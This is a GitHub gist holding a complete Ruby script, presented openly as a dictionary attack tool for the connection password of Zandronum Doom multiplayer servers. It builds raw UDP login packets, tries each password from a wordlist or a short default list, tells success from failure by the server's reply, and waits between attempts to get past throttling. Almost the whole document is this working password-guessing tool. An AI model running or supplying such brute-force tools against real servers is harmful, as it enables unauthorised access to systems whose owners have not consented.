Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created December 26, 2014 15:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/25d2e052554d0ec3ea81 to your computer and use it in GitHub Desktop.
Save bcoles/25d2e052554d0ec3ea81 to your computer and use it in GitHub Desktop.
Throttled single-threaded remote dictionary attack tool for Doom multiplayer server connection password. Tested on Zandronum 1.2.42016.1
#!/usr/bin/env ruby
# Throttled single-threaded remote dictionary attack tool
# for Doom multiplayer server connection password.
# Tested on Zandronum 1.2.42016.1
# 2014-12-20
##
require 'socket'
$debug = false
@wait = 10 # server wait time between connections (default is 10 seconds)
@version = '1.2' # server version
# usage
if ARGV.length < 2
puts "Usage: ./brute-doom <host> <port> [/path/to/wordlist.txt]"
exit 1
end
# parse target
@host = ARGV[0]
@port = ARGV[1].to_i
# parse wordlist
file = ARGV[2]
@word_list = []
if file.nil?
@word_list = ['doom', 'password', 'guest', '1234', '12345']
puts "No wordlist specified. Using default list (#{@word_list.length} words) ..."
else
@word_list = open(file).lines.flat_map do |line|
line.chomp!
end.uniq.sort
puts "Using wordlist '#{file}' (#{@word_list.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }} words) ..."
end
# brute target
def main
seconds_remaining = (@word_list.length * @wait)
if seconds_remaining < 60
time_remaining_msg = "#{seconds_remaining} seconds remaining"
else
time_remaining_msg = "#{(seconds_remaining/60).to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }} minutes remaining"
end
puts "Trying dictionary attack on #{@host}:#{@port} (#{time_remaining_msg}) ..."
@s = UDPSocket.new
@s.connect @host, @port
@word_list.each do |pw|
# connect
break if connect(pw)
# sleep
next if @wait < 1
puts "* Sleeping for #{@wait} second#{'s'*(@wait>1?1:0)} ..." if $debug
show_wait_cursor(@wait) # sleep(@wait)
end
@s.close
end
# connect with specified password
def connect pw
pkt = "ff00"
pkt << "#{@version.unpack('H*').flatten.first}00"
pkt << "#{pw.unpack('H*').flatten.first}00"
pkt << "052000"
login = [pkt].pack('H*')
puts "* Sending: #{login}" if $debug
@s.send login, 0
text, sender = @s.recvfrom(256)
res = text.unpack('H*').flatten.first
puts "* Response: #{res} - #{text}" if $debug
if res =~ /^0344923a29/
puts "- Login failed with password: #{pw}"
return
elsif res =~ /^ff0300/
puts "+ Login success with password: #{pw}"
return pw
else
puts "- Error - Unexpected reply"
exit 1
end
end
# spinner
# https://stackoverflow.com/questions/10262235/printing-an-ascii-spinning-cursor-in-the-console
def show_wait_cursor(seconds, fps=10)
chars = %w[| / - \\]
delay = 1.0 / fps
msg = " Waiting ..."
(seconds * fps).round.times do |i|
print(chars[i % chars.length] + msg)
sleep(delay)
print("\b" * (msg.length + 1))
end
end
main
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment